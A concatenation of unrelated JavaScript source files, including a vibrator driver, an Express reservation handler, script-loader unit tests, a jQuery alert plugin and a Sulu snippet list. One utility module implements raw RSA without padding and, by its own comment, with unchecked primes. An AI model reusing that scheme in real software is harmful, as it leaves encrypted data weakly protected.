Turn off the vibrator * * @memberof silk-vibrator * @instance */ off() { this._active = false; this._vib(0); } /** * Play a vibrator pattern * * @param onDuration duration in milliseconds to activate the vibrator for * @param offDuration duration in milliseconds to deactivate the vibrator for * @param more sequence of onDurations and offDurations * @param * @memberof silk-vibrator * @instance */ pattern(onDuration: number, offDuration?: number, ...more: Array<number>) { if (onDuration) { this.on(onDuration); if (typeof offDuration === 'number' && more.length) { util.timeout(onDuration + offDuration).then(() => this.pattern(...more)); } } else { this.off(); } } }
(function() { 'use strict'; angular .module('app.admin') .run(appRun); appRun.$inject = ['routerHelper']; /* @ngInject */ function appRun(routerHelper) { routerHelper.configureStates(getStates()); } function getStates() { return [ { state: 'admin', config: { url: '/admin', templateUrl: 'app/admin/admin.html', controller: 'AdminController', controllerAs: 'vmAdmin', title: 'Admin', settings: { nav: 2, content: '<i class="fa fa-blind"></i> Employees', needSignIn: true, visibleTo: ["manager"] } } } ]; } })();
'use strict'; var Businesses = require('../models/businesses.js'); var mongoose = require('mongoose'); function ReservationHandler () { this.handleError = function(err, res){ console.log("An error occurred", err); res.json({error: "An error occurred"}); }; this.getReservations = function (req, res) { console.log("received get reservation request for",req.query); var businessId = req.query.id; Businesses.findOne({ 'id': businessId }, function (err, business) { if (err) { console.log("An error occurred", err); res.json({error: "An error occurred"}); } console.log("retrieving this business", business); res.json(business); }); }; this.addReservation = function (req, res) { console.log('in add reservation'); console.log("add reservation request received for", req.body.id); var businessId = req.body.id; //add reservation to business Businesses.findOneAndUpdate( { 'id': businessId }, { $addToSet: { 'user_reservations': mongoose.Types.ObjectId(req.user._id) }}, { 'new': true, 'upsert': true} ) .exec(function (err, result) { if (err) { console.log("An error occurred", err); res.json({error: "An error occurred"}); } res.json(result); } ); }; this.removeReservation = function (req, res) { console.log('in remove reservation'); console.log('remove reservation request', req.body); var businessId = req.body.id; Businesses.findOneAndUpdate( { 'id': businessId }, { $pull: { 'user_reservations': mongoose.Types.ObjectId(req.user._id) }}, { 'new': true} ) .exec(function (err, result) { if (err) { console.log("An error occurred", err); res.json({error: "An error occurred"}); } res.json(result); } ); }; } module.exports = ReservationHandler;
// Copyright 2014 Google Inc. All rights reserved. // // Use of this source code is governed by The MIT License. // See the LICENSE file for details. /** * @fileoverview Tests for dynamically loading scripts. */ goog.require('spf.array'); goog.require('spf.net.resource'); goog.require('spf.net.script'); goog.require('spf.pubsub'); goog.require('spf.state'); goog.require('spf.url'); describe('spf.net.script', function() { var JS = spf.net.resource.Type.JS; var nodes; var callbacks; var fakes = { url: { absolute: function(relative) { if (relative.indexOf('//') > -1) { return relative; } else if (relative.indexOf('/') == 0) { return '//test' + relative; } else { return '//test/' + relative; } } }, resource: { create: function(type, url, opt_callback, opt_document) { url = spf.net.resource.canonicalize(JS, url); var el = { setAttribute: function(n, v) { el[n] = v; }, getAttribute: function(n) { return el[n]; } }; el.src = url; el.className = type + '-' + url.replace(/[^\w]/g, ''); nodes.push(el); var key = type + '-' + url; spf.net.resource.status_[key] = spf.net.resource.State.LOADED; opt_callback && opt_callback(); return el; }, destroy: function(type, url) { var idx = -1; spf.array.every(nodes, function(n, i, arr) { if (n.src == url) { idx = i; return false; } return true; }); nodes.splice(idx, 1); var key = type + '-' + url; delete spf.net.resource.status_[key]; } } }; beforeEach(function() { jasmine.Clock.useMock(); spf.state.values_ = {}; spf.pubsub.subscriptions = {}; spf.net.script.urls_ = {}; spf.net.script.deps_ = {}; spf.net.resource.urls_ = {}; spf.net.resource.status_ = {}; nodes = []; callbacks = { one: jasmine.createSpy('one'), two: jasmine.createSpy('two'), three: jasmine.createSpy('three'), four: jasmine.createSpy('four') }; spyOn(spf.net.resource, 'load').andCallThrough(); spyOn(spf.net.resource, 'unload').andCallThrough(); spyOn(spf.net.resource, 'create').andCallFake(fakes.resource.create); spyOn(spf.net.resource, 'destroy').andCallFake(fakes.resource.destroy); spyOn(spf.net.resource, 'prefetch'); spyOn(spf.url, 'absolute').andCallFake(fakes.url.absolute); for (var i = 1; i < 9; i++) { window['_global_' + i + '_'] = undefined; } }); describe('load', function() { it('passes a single url', function() { var url = 'url-a.js'; spf.net.script.load(url); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, url, undefined, undefined); }); it('passes a single url with name', function() { var url = 'url-a.js'; var name = 'a'; spf.net.script.load(url, name); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, url, name, undefined); }); it('passes a single url with callback', function() { var url = 'url-a.js'; var fn = function() {}; spf.net.script.load(url, fn); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, url, fn, undefined); }); it('passes a single url with name and callback', function() { var url = 'url-a.js'; var name = 'a'; var fn = function() {}; spf.net.script.load(url, name, fn); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, url, name, fn); }); it('passes multiple urls', function() { var urls = ['url-a-1.js', 'url-a-2.js']; spf.net.script.load(urls); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, urls, undefined, undefined); }); it('passes multiple urls with name', function() { var urls = ['url-a-1.js', 'url-a-2.js']; var name = 'a'; spf.net.script.load(urls, name); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, urls, name, undefined); }); it('passes multiple urls with callback', function() { var urls = ['url-a-1.js', 'url-a-2.js']; var fn = function() {}; spf.net.script.load(urls, fn); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, urls, fn, undefined); }); it('passes multiple urls with name and callback', function() { var urls = ['url-a-1.js', 'url-a-2.js']; var name = 'a'; var fn = function() {}; spf.net.script.load(urls, name, fn); expect(spf.net.resource.load).toHaveBeenCalledWith( JS, urls, name, fn); }); }); describe('unload', function() { it('passes name', function() { var name = 'a'; spf.net.script.unload(name); expect(spf.net.resource.unload).toHaveBeenCalledWith(JS, name); }); }); describe('get', function() { it('passes url', function() { var url = 'url-a.js'; spf.net.script.get(url); expect(spf.net.resource.create).toHaveBeenCalledWith( JS, url, undefined); }); it('passes url with function', function() { var url = 'url-a.js'; var fn = function() {}; spf.net.script.get(url, fn); expect(spf.net.resource.create).toHaveBeenCalledWith( JS, url, fn); }); }); describe('prefetch', function() { it('calls for a single url', function() { var url = 'url-a.js'; spf.net.script.prefetch(url); expect(spf.net.resource.prefetch).toHaveBeenCalledWith( JS, url); }); it('calls for multiples urls', function() { var urls = ['url-a-1.js', 'url-a-2.js']; spf.net.script.prefetch(urls); spf.array.each(urls, function(url) { expect(spf.net.resource.prefetch).toHaveBeenCalledWith( JS, url); }); }); }); describe('ready', function() { it('waits to execute callbacks on a single dependency', function() { // Check pre-ready. spf.net.script.ready('my:foo', callbacks.one); expect(callbacks.one.calls.length).toEqual(0); // Load. spf.net.script.load('foo.js', 'my:foo'); jasmine.Clock.tick(1); // Check post-ready. expect(callbacks.one.calls.length).toEqual(1); // Check again. spf.net.script.ready('my:foo', callbacks.two); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(1); spf.net.script.ready('my:foo', callbacks.two); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(2); }); it('waits to execute callbacks on multiple dependencies', function() { spf.net.script.ready('my:foo', callbacks.one); spf.net.script.ready('bar', callbacks.two); spf.net.script.ready(['my:foo', 'bar'], callbacks.three); expect(callbacks.one.calls.length).toEqual(0); expect(callbacks.two.calls.length).toEqual(0); expect(callbacks.three.calls.length).toEqual(0); // Load first. spf.net.script.load('foo.js', 'my:foo'); jasmine.Clock.tick(1); // Check. expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(0); expect(callbacks.three.calls.length).toEqual(0); // Load second. spf.net.script.load('bar.js', 'bar'); jasmine.Clock.tick(1); // Check. expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(1); expect(callbacks.three.calls.length).toEqual(1); // Check again. spf.net.script.ready('bar', callbacks.two); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(2); expect(callbacks.three.calls.length).toEqual(1); spf.net.script.ready(['my:foo', 'bar'], callbacks.three); spf.net.script.ready(['my:foo', 'bar'], callbacks.three); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(2); expect(callbacks.three.calls.length).toEqual(3); }); it('executes require for missing dependencies', function() { spf.net.script.ready('my:foo', null, callbacks.one); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.one.mostRecentCall.args[0]).toEqual(['my:foo']); // Load first. spf.net.script.load('foo.js', 'my:foo'); spf.net.script.ready(['my:foo', 'bar'], null, callbacks.one); jasmine.Clock.tick(1); expect(callbacks.one.calls.length).toEqual(2); expect(callbacks.one.mostRecentCall.args[0]).toEqual(['bar']); // Load second. spf.net.script.load('bar.js', 'bar'); spf.net.script.ready(['a', 'my:foo', 'b', 'bar', 'c'], null, callbacks.one); jasmine.Clock.tick(1); expect(callbacks.one.calls.length).toEqual(3); expect(callbacks.one.mostRecentCall.args[0]).toEqual(['a', 'b', 'c']); }); }); describe('done', function() { it('registers completion', function() { spf.net.script.done('foo'); expect('foo' in spf.net.resource.urls_); }); it('executes callbacks', function() { // Setup callbacks. spf.net.script.ready('foo', callbacks.one); spf.net.script.ready('bar', callbacks.two); // Register first. spf.net.script.done('foo'); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(0); // Register second. spf.net.script.done('bar'); expect(callbacks.one.calls.length).toEqual(1); expect(callbacks.two.calls.length).toEqual(1); // Repeat. spf.net.script.ready('foo', callbacks.one); spf.net.script.ready('bar', callbacks.two); expect(callbacks.one.calls.length).toEqual(2); expect(callbacks.two.calls.length).toEqual(2); // Extra. spf.net.script.done('foo'); spf.net.script.done('foo'); spf.net.script.done('bar'); expect(callbacks.one.calls.length).toEqual(2); expect(callbacks.two.calls.length).toEqual(2); }); }); describe('ignore', function() { it('does not execute callbacks for a single dependency', function() { spf.net.script.ready('foo', callbacks.one); spf.net.script.ignore('foo', callbacks.one); spf.net.script.done('foo'); expect(callbacks.one.calls.length).toEqual(0); }); it('does not execute callbacks for multiple dependencies', function() { spf.net.script.ready(['a', 'b', 'c'], callbacks.one); // Ensure a different ordering works. spf.net.script.ignore(['c', 'b', 'a'], callbacks.one); spf.net.script.done('a'); spf.net.script.done('b'); spf.net.script.done('c'); expect(callbacks.one.calls.length).toEqual(0); }); }); describe('require', function() { it('loads declared dependencies', function() { spyOn(spf.net.script, 'ready').andCallThrough(); spf.net.script.declare({ 'foo': null, 'a': 'foo', 'b': 'foo', 'bar': ['a', 'b'] }); spf.net.script.require('bar', callbacks.one); jasmine.Clock.tick(1); // Check ready ordering. expect(spf.net.script.ready.calls.length).toEqual(4); expect(spf.net.script.ready.calls[0].args[0]).toEqual(['bar']); expect(spf.net.script.ready.calls[1].args[0]).toEqual(['a', 'b']); expect(spf.net.script.ready.calls[2].args[0]).toEqual(['foo']); expect(spf.net.script.ready.calls[3].args[0]).toEqual(['foo']); // Check load ordering. var result = spf.array.map(nodes, function(a) { return a.src; }); expect(result).toEqual(['//test/foo.js', '//test/a.js', '//test/b.js', '//test/bar.js']); // Check callback. expect(callbacks.one.calls.length).toEqual(1); // Repeat callback. spf.net.script.require('bar', callbacks.one); expect(spf.net.script.ready.calls.length).toEqual(5); expect(spf.net.script.ready.calls[4].args[0]).toEqual(['bar']); expect(callbacks.one.calls.length).toEqual(2); // No callback. spf.net.script.require('bar'); expect(spf.net.script.ready.calls.length).toEqual(6); expect(spf.net.script.ready.calls[5].args[0]).toEqual(['bar']); expect(callbacks.one.calls.length).toEqual(2); }); it('loads declared dependencies with path', function() { spf.net.script.path('/dir/'); spf.net.script.declare({ 'foo': null, 'a': 'foo', 'b': 'foo', 'bar': ['a', 'b'] }); spf.net.script.require('bar', callbacks.one); jasmine.Clock.tick(1); // Check load ordering. var result = spf.array.map(nodes, function(a) { return a.src; }); expect(result).toEqual(['//test/dir/foo.js', '//test/dir/a.js', '//test/dir/b.js', '//test/dir/bar.js']); // Check callback. expect(callbacks.one.calls.length).toEqual(1); }); it('loads declared dependencies with urls', function() { spf.net.script.declare({ 'foo': null, 'a': 'foo', 'b': 'foo', 'bar': ['a', 'b'] }, { 'foo': 'sbb.js', 'a': 'n.js', 'b': 'o.js', 'bar': 'one.js' }); spf.net.script.require('bar', callbacks.one); jasmine.Clock.tick(1); // Check load ordering. var result = spf.array.map(nodes, function(a) { return a.src; }); expect(result).toEqual(['//test/sbb.js', '//test/n.js', '//test/o.js', '//test/one.js']); // Check callback. expect(callbacks.one.calls.length).toEqual(1); }); it('loads declared dependencies with path and urls', function() { spf.net.script.path('/dir/'); spf.net.script.declare({ 'foo': null, 'a': 'foo', 'b': 'foo', 'bar': ['a', 'b'] }, { 'foo': 'sbb.js', 'a': 'n.js', 'b': 'o.js', 'bar': 'one.js' }); spf.net.script.require('bar', callbacks.one); jasmine.Clock.tick(1); // Check load ordering. var result = spf.array.map(nodes, function(a) { return a.src; }); expect(result).toEqual(['//test/dir/sbb.js', '//test/dir/n.js', '//test/dir/o.js', '//test/dir/one.js']); // Check callback. expect(callbacks.one.calls.length).toEqual(1); }); }); describe('exec', function() { it('standard', function() { expect(function() { spf.net.script.exec(''); }).not.toThrow(); var text = 'var _global_1_ = 1;'; spf.net.script.exec(text); expect(window['_global_1_']).toEqual(1); }); it('strict', function() { var text = '"use strict";' + 'var _global_2_ = 2;'; spf.net.script.exec(text); expect(window['_global_2_']).toEqual(2); }); it('recursive standard', function() { text = 'var _global_3_ = 3;' + 'spf.net.script.exec("var _global_4_ = 4;");'; spf.net.script.exec(text); expect(window['_global_3_']).toEqual(3); expect(window['_global_4_']).toEqual(4); }); it('recursive mixed', function() { text = 'var _global_5_ = 5;' + 'spf.net.script.exec("' + "'use strict';" + 'var _global_6_ = 6;' + '");'; spf.net.script.exec(text); expect(window['_global_5_']).toEqual(5); expect(window['_global_6_']).toEqual(6); }); it('recursive strict', function() { text = '"use strict";' + 'var _global_7_ = 7;' + 'spf.net.script.exec("' + "'use strict';" + 'var _global_8_ = 8;' + '");'; spf.net.script.exec(text); expect(window['_global_7_']).toEqual(7); expect(window['_global_8_']).toEqual(8); }); }); });
/** * get string type representation of the cell's value * @return {string} */ cell.fx.getStringValue = function(){ return this.value+''; };
/** * Created by josh on 8/1/15. */ var Dom = require('../src/dom'); var VirtualDoc = { _change_count:0, _ids:{}, idChanged: function(old_id, new_id, node) { delete this._ids[old_id]; this._ids[new_id] = node; }, getElementById: function(id) { return this._ids[id]; }, resetChangeCount: function() { this._change_count = 0; }, getChangeCount: function() { return this._change_count; }, createElement:function(name) { return { ownerDocument:this, nodeName: name, nodeType:Dom.Node.ELEMENT_NODE, childNodes:[], atts:{}, child: function(i) { return this.childNodes[i]; }, appendChild: function(ch) { this.childNodes.push(ch); ch.parentNode = this; }, insertBefore: function(newNode, referenceNode) { var n = this.childNodes.indexOf(referenceNode); this.childNodes.splice(n,0,newNode); newNode.parentNode = this; }, classList:{ _list:{}, add:function(ch) { this._list[ch] = ch; }, contains: function(cn) { return this._list[cn]; }, toString: function() { var str = ""; for(var n in this._list) { str += "."+this._list[n]; } return str; } }, get className() { var coll = []; for(var n in this.classList._list) { coll.push(this.classList._list[n]); } return coll.join(" "); }, _id:"", get id() { return this._id; }, set id(txt) { var old = this._id; this._id = txt; this.ownerDocument.idChanged(old,this._id,this); this.ownerDocument._change_count++; }, get firstChild() { if(this.childNodes.length >= 1) return this.childNodes[0]; return null; }, removeChild: function(ch) { var n = this.childNodes.indexOf(ch); this.childNodes.splice(n,1); this.ownerDocument._change_count++; return ch; }, setAttribute: function(name,value) { this.atts[name] = value; }, getAttribute: function(name) { return this.atts[name]; } } }, createTextNode: function(txt) { return { _nodeValue:txt, ownerDocument:this, get nodeValue() { return this._nodeValue; }, set nodeValue(txt) { this._nodeValue = txt; this.ownerDocument._change_count++; }, get id() { return this._id; }, set id(txt) { var old = this._id; this._id = txt; this.ownerDocument.idChanged(old,this._id,this); this.ownerDocument._change_count++; }, nodeType:Dom.Node.TEXT_NODE } } }; module.exports = VirtualDoc;
var bignum = require('bignum'); var AWS = require('aws-sdk'); var path = require('path'); AWS.config.loadFromPath(path.join(__dirname, '../config.json')); exports.s3 = new AWS.S3(); exports.respond_err = function (res, err, code) { res.writeHead(code || 500, {"Content-Type": "text/plain"}); res.end(err.message); }; exports.respond_json = function (res, obj, code) { res.writeHead(code || 200, {'Content-Type': 'application/json'}); res.end(JSON.stringify(obj)); }; exports.respond_octet_stream = function (res, obj, code) { res.writeHead(code || 200, {'Content-Type': 'application/octet_stream'}); res.end(obj); }; exports.collect_and_call = function (http_socket, callback) { var args = [].slice.call(arguments, 2); var buffers = []; http_socket.on('data', function (data) { buffers.push(data); }); http_socket.on('end', function () { callback.apply(null, [null, Buffer.concat(buffers)].concat(args)); }); http_socket.on('error', function () { callback.apply(null, [new Error("http_socket error"), null].concat(args)); }); }; exports.RSA = function() { var self = this; this.generate = function (bits) { bits = bits || 1024; //should make sure these are strong and aren't too close... (but probably won't) if (!self.p) self.p = bignum.prime(bits); if (!self.q) self.q = bignum.prime(bits); self.n = bignum.mul(self.p, self.q); self.t = bignum.mul(self.p.sub(1), self.q.sub(1)); self.e = bignum(0x10001); self.d = self.e.invertm(self.t); self.d_p = self.d.mod(self.p.sub(1)); self.d_q = self.d.mod(self.q.sub(1)); self.q_inv = self.q.invertm(self.p); }; this.encrypt = function (plain) { return bignum.powm(plain, self.e, self.n); }; this.decrypt = function (cipher) { var m1 = bignum.powm(cipher, self.d_p, self.p); var m2 = bignum.powm(cipher, self.d_q, self.q); var h = self.q_inv.mul(m1.sub(m2)).mod(self.p).add(self.p).mod(self.p); return m2.add(h.mul(self.q)); }; }; exports.str_to_num = function (str) { return bignum.fromBuffer(new Buffer(str)); }; exports.num_to_str = function (num) { return num.toBuffer().toString(); };
var util = require('util'); var Promise = require('bluebird'); var AbstractConnectionManager = require('../abstract/cache-manager'); util.inherits(CacheManager, AbstractConnectionManager); function CacheManager(cacheInstance, sequelize) { AbstractConnectionManager.call(this, cacheInstance, sequelize); } CacheManager.prototype.set = function(key, res, ttl) { this.cacheInstance.setex(key, ttl, JSON.stringify(res.get({ plain: true }))); return res; }; CacheManager.prototype.get = function(key) { var self = this; return new Promise(function(resolve, reject) { self.cacheInstance.get(key, function(err, res) { if (err) { return reject(err); } if (!res) { return reject(new Error('cache not found')); } try { return resolve(JSON.parse(res)); } catch(e) { return reject(e); } }); }); }; CacheManager.prototype.del = function(key) { console.log('del cache'); }; CacheManager.prototype.key = function(modelName, id) { return util.format('%s/%s/%s', this.sequelize.options.cachePrefix, modelName, id.toString()); }; module.exports = CacheManager;
// jQuery Alert Dialogs Plugin // // Version 1.1 // // Cory S.N. LaViska // A Beautiful Site (http://abeautifulsite.net/) // 14 May 2009 // // Visit http://abeautifulsite.net/notebook/87 for more information // // Usage: // jAlert( message, [title, callback] ) // jConfirm( message, [title, callback] ) // jPrompt( message, [value, title, callback] ) // // History: // // 1.00 - Released (29 December 2008) // // 1.01 - Fixed bug where unbinding would destroy all resize events // // License: // // This plugin is dual-licensed under the GNU General Public License and the MIT License and // is copyright 2008 A Beautiful Site, LLC. // (function($) { $.alerts = { // These properties can be read/written by accessing $.alerts.propertyName from your scripts at any time verticalOffset: -75, // vertical offset of the dialog from center screen, in pixels horizontalOffset: 0, // horizontal offset of the dialog from center screen, in pixels/ repositionOnResize: true, // re-centers the dialog on window resize overlayOpacity: .79, // transparency level of overlay overlayColor: '#FFF', // base color of overlay draggable: true, // make the dialogs draggable (requires UI Draggables plugin) okButton: '&nbsp;OK&nbsp;', // text for the OK button cancelButton: '&nbsp;Cancel&nbsp;', // text for the Cancel button dialogClass: null, // if specified, this class will be applied to all dialogs // Public methods alert: function(message, title, callback) { if( title == null ) title = 'Alert'; $.alerts._show(title, message, null, 'alert', function(result) { if( callback ) callback(result); }); }, confirm: function(message, title, callback) { if( title == null ) title = 'Confirm'; $.alerts._show(title, message, null, 'confirm', function(result) { if( callback ) callback(result); }); }, prompt: function(message, value, title, callback) { if( title == null ) title = 'Prompt'; $.alerts._show(title, message, value, 'prompt', function(result) { if( callback ) callback(result); }); }, // Private methods _show: function(title, msg, value, type, callback) { $.alerts._hide(); $.alerts._overlay('show'); $("BODY").append( '<div id="popup_container">' + '<h1 id="popup_title"></h1>' + '<div id="popup_content">' + '<div id="popup_message"></div>' + '</div>' + '</div>'); if( $.alerts.dialogClass ) { $("#popup_container").addClass($.alerts.dialogClass); } // IE6 Fix var pos = ($.browser.msie && parseInt($.browser.version) <= 6 ) ? 'absolute' : 'fixed'; $("#popup_container").css({ position: pos, zIndex: 99999, padding: 0, margin: 0 }); $("#popup_title").text(title); $("#popup_content").addClass(type); $("#popup_message").text(msg); $("#popup_message").html( $("#popup_message").text().replace(/\n/g, '<br />') ); $("#popup_container").css({ minWidth: $("#popup_container").outerWidth(), maxWidth: $("#popup_container").outerWidth() }); $.alerts._reposition(); $.alerts._maintainPosition(true); switch( type ) { case 'alert': $("#popup_message").after('<div id="popup_panel"><input type="button" value="' + $.alerts.okButton + '" id="popup_ok" /></div>'); $("#popup_title").width( $("#popup_container").innerWidth() ); $("#popup_ok").click( function() { $.alerts._hide(); callback(true); }); $("#popup_ok").focus().keypress( function(e) { if( e.keyCode == 13 || e.keyCode == 27 ) $("#popup_ok").trigger('click'); }); break; case 'confirm': $("#popup_message").after('<div id="popup_panel"><input type="button" value="' + $.alerts.okButton + '" id="popup_ok" /> <input type="button" value="' + $.alerts.cancelButton + '" id="popup_cancel" /></div>'); $("#popup_title").width( $("#popup_container").innerWidth() ); $("#popup_ok").click( function() { $.alerts._hide(); if( callback ) callback( true ); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback( false ); }); $("#popup_ok").focus(); $("#popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); break; case 'prompt': $("#popup_message").append('<br /><input type="text" size="30" id="popup_prompt" />').after('<div id="popup_panel"><input type="button" value="' + $.alerts.okButton + '" id="popup_ok" /> <input type="button" value="' + $.alerts.cancelButton + '" id="popup_cancel" /></div>'); $("#popup_prompt").width( $("#popup_message").width() ); $("#popup_title").width( $("#popup_container").innerWidth() ); $("#popup_ok").click( function() { var val = $("#popup_prompt").val(); $.alerts._hide(); if( callback ) callback( val ); }); $("#popup_cancel").click( function() { $.alerts._hide(); if( callback ) callback( false ); }); $("#popup_prompt, #popup_ok, #popup_cancel").keypress( function(e) { if( e.keyCode == 13 ) $("#popup_ok").trigger('click'); if( e.keyCode == 27 ) $("#popup_cancel").trigger('click'); }); if( value ) $("#popup_prompt").val(value); $("#popup_prompt").focus().select(); break; } // Make draggable if( $.alerts.draggable ) { try { $("#popup_container").draggable({ handle: $("#popup_title") }); $("#popup_title").css({ cursor: 'move' }); } catch(e) { /* requires jQuery UI draggables */ } } }, _hide: function() { $("#popup_container").remove(); $.alerts._overlay('hide'); $.alerts._maintainPosition(false); }, _overlay: function(status) { switch( status ) { case 'show': $.alerts._overlay('hide'); $("BODY").append('<div id="popup_overlay"></div>'); $("#popup_overlay").css({ position: 'absolute', zIndex: 99998, top: '0px', left: '0px', width: '100%', height: $(document).height(), background: $.alerts.overlayColor, opacity: $.alerts.overlayOpacity }); break; case 'hide': $("#popup_overlay").remove(); break; } }, _reposition: function() { var top = (($(window).height() / 2) - ($("#popup_container").outerHeight() / 2)) + $.alerts.verticalOffset; var left = (($(window).width() / 2) - ($("#popup_container").outerWidth() / 2)) + $.alerts.horizontalOffset; if( top < 0 ) top = 0; if( left < 0 ) left = 0; // IE6 fix if( $.browser.msie && parseInt($.browser.version) <= 6 ) top = top + $(window).scrollTop(); $("#popup_container").css({ top: top + 'px', left: left + 'px' }); $("#popup_overlay").height( $(document).height() ); }, _maintainPosition: function(status) { if( $.alerts.repositionOnResize ) { switch(status) { case true: $(window).bind('resize', $.alerts._reposition); break; case false: $(window).unbind('resize', $.alerts._reposition); break; } } } } // Shortuct functions jAlert = function(message, title, callback) { $.alerts.alert(message, title, callback); } jConfirm = function(message, title, callback) { $.alerts.confirm(message, title, callback); }; jPrompt = function(message, value, title, callback) { $.alerts.prompt(message, value, title, callback); }; })(jQuery);
/** * Created by saurabhk on 04/09/16. */ "use strict"; //require('pixi.js'); //require('p2'); //require('phaser'); //require('./css/parallax.css'); var boot = require("./states/boot"); var preload = require("./states/preload"); var menu = require("./states/menu"); var theGame = require("./states/game"); // var game = new Phaser.Game(window.innerWidth, window.innerHeight, Phaser.AUTO, "space-fighter-game"); game.state.add("boot",boot); game.state.add("preload",preload); game.state.add("menu",menu); game.state.add("theGame",theGame); game.state.start("boot"); window.socket = io.connect('http://localhost:8100'); window.PRIORITY_ACCUMULATOR = {};
define([ 'jquery', 'underscore', 'backbone', 'text!/templates/aws/aws_security_group.html' ], function($, _, Backbone, awsTemplate){ var awsView = Backbone.View.extend({ el: $('#drag-zone'), render: function(){ var that = this; var compiledTemplate = _.template(awsTemplate)({'prefix':'aws_sec'}); this.$el.append(compiledTemplate); that.$el.find('#aws_sec_box').on('click', function() { var content = $(this).parent().parent().parent().find(".content-body"); if (content.hasClass("collapsed")) { content.removeClass("collapsed").slideDown(500); $(this).removeClass("fa-chevron-up").addClass("fa-chevron-down"); } else { content.addClass("collapsed").slideUp(500); $(this).removeClass("fa-chevron-down").addClass("fa-chevron-up"); } }); }, onClose: function(){ this.stopListening(); } }); return awsView; });
/** * @class Oskari.harava.bundle.mapquestions.request.ToggleQuestionToolsRequest * Requests a hide question tools * * Requests are build and sent through Oskari.mapframework.sandbox.Sandbox. * Oskari.mapframework.request.Request superclass documents how to send one. */ Oskari.clazz.define('Oskari.harava.bundle.mapquestions.request.ToggleQuestionToolsRequest', /** * @method create called automatically on construction * @static */ function() { }, { /** @static @property __name request name */ __name : "ToggleQuestionToolsRequest", /** * @method getName * @return {String} request name */ getName : function() { return this.__name; } }, { /** * @property {String[]} protocol array of superclasses as {String} * @static */ 'protocol' : ['Oskari.mapframework.request.Request'] });
global.swintVar = {}; module.exports = { defaultize: require('./defaultize'), validate: require('./validate'), print: require('./print'), walk: require('./walk'), concat: require('./concat'), createHash: require('./createHash'), traverseWithQuery: require('./traverseWithQuery') }; global.print = module.exports.print;
import {combineReducers} from 'redux'; const count = (state = 0, action) => { switch (action.type) { case 'increment': return state + 1; case 'decrement': return state - 1; default: return state; } }; const counter = combineReducers({ count }); export default counter; // selectors export const getCount = (state) => { return state.counter.count; };
/* * This file is part of the Sulu CMS. * * (c) MASSIVE ART WebServices GmbH * * This source file is subject to the MIT license that is bundled * with this source code in the file LICENSE. */ define([ 'sulusnippet/components/snippet/main', 'sulucontent/components/copy-locale-overlay/main', 'sulucontent/components/open-ghost-overlay/main' ], function(BaseSnippet, CopyLocale, OpenGhost) { 'use strict'; var template = [ '<div id="list-toolbar-container" class="list-toolbar-container"></div>', '<div id="snippet-list" class="datagrid-container"></div>', '<div id="dialog"></div>' ].join(''), SnippetList = function() { BaseSnippet.call(this); return this; }; // inheritance SnippetList.prototype = Object.create(BaseSnippet.prototype); SnippetList.prototype.constructor = BaseSnippet; SnippetList.prototype.view = true; SnippetList.prototype.stickyToolbar = true; SnippetList.prototype.layout = { content: { width: 'max' }, sidebar: false }; SnippetList.prototype.header = function() { return { noBack: true, title: 'snippets.snippet.title', underline: false, toolbar: { buttons: { add: {}, deleteSelected: {}, export: { options: { urlParameter: { flat: true }, url: '/admin/api/snippets.csv' } } }, languageChanger: { preSelected: this.options.language } } }; }; SnippetList.prototype.initialize = function() { this.bindModelEvents(); this.bindCustomEvents(); this.render(); }; SnippetList.prototype.bindCustomEvents = function() { // delete clicked this.sandbox.on('sulu.toolbar.delete', function() { this.sandbox.emit('husky.datagrid.items.get-selected', function(ids) { this.sandbox.emit('sulu.snippets.snippets.delete', ids); }.bind(this)); }, this); // add clicked this.sandbox.on('sulu.toolbar.add', function() { this.sandbox.emit('sulu.snippets.snippet.new'); }, this); // checkbox clicked this.sandbox.on('husky.datagrid.number.selections', function(number) { var postfix = number > 0 ? 'enable' : 'disable'; this.sandbox.emit('sulu.header.toolbar.item.' + postfix, 'deleteSelected', false); }.bind(this)); }; SnippetList.prototype.render = function() { this.sandbox.dom.html(this.$el, template); // init list-toolbar and datagrid this.sandbox.sulu.initListToolbarAndList.call(this, 'snippets', '/admin/api/snippet/fields', { el: this.$find('#list-toolbar-container'), instanceName: 'snippets' }, { el: this.sandbox.dom.find('#snippet-list', this.$el), url: '/admin/api/snippets?language=' + this.options.language, searchInstanceName: 'snippets', searchFields: ['title'], // TODO ??? resultKey: 'snippets', actionCallback: function(id, item) { if (!item.type || item.type.name !== 'ghost') { this.sandbox.emit('sulu.snippets.snippet.load', id); } else { OpenGhost.openGhost.call(this, item).then(function(copy, src) { if (!!copy) { CopyLocale.copyLocale.call( this, item.id, src, [this.options.language], function() { this.sandbox.emit('sulu.snippets.snippet.load', id); }.bind(this) ); } else { this.sandbox.emit('sulu.snippets.snippet.load', id); } }.bind(this)); } }.bind(this), viewOptions: { table: { badges: [ { column: 'title', callback: function(item, badge) { if (!!item.type && item.type.name === 'ghost' && item.type.value !== this.options.language ) { badge.title = item.type.value; return badge; } return false; }.bind(this) } ] } } } ); }; return new SnippetList(); });
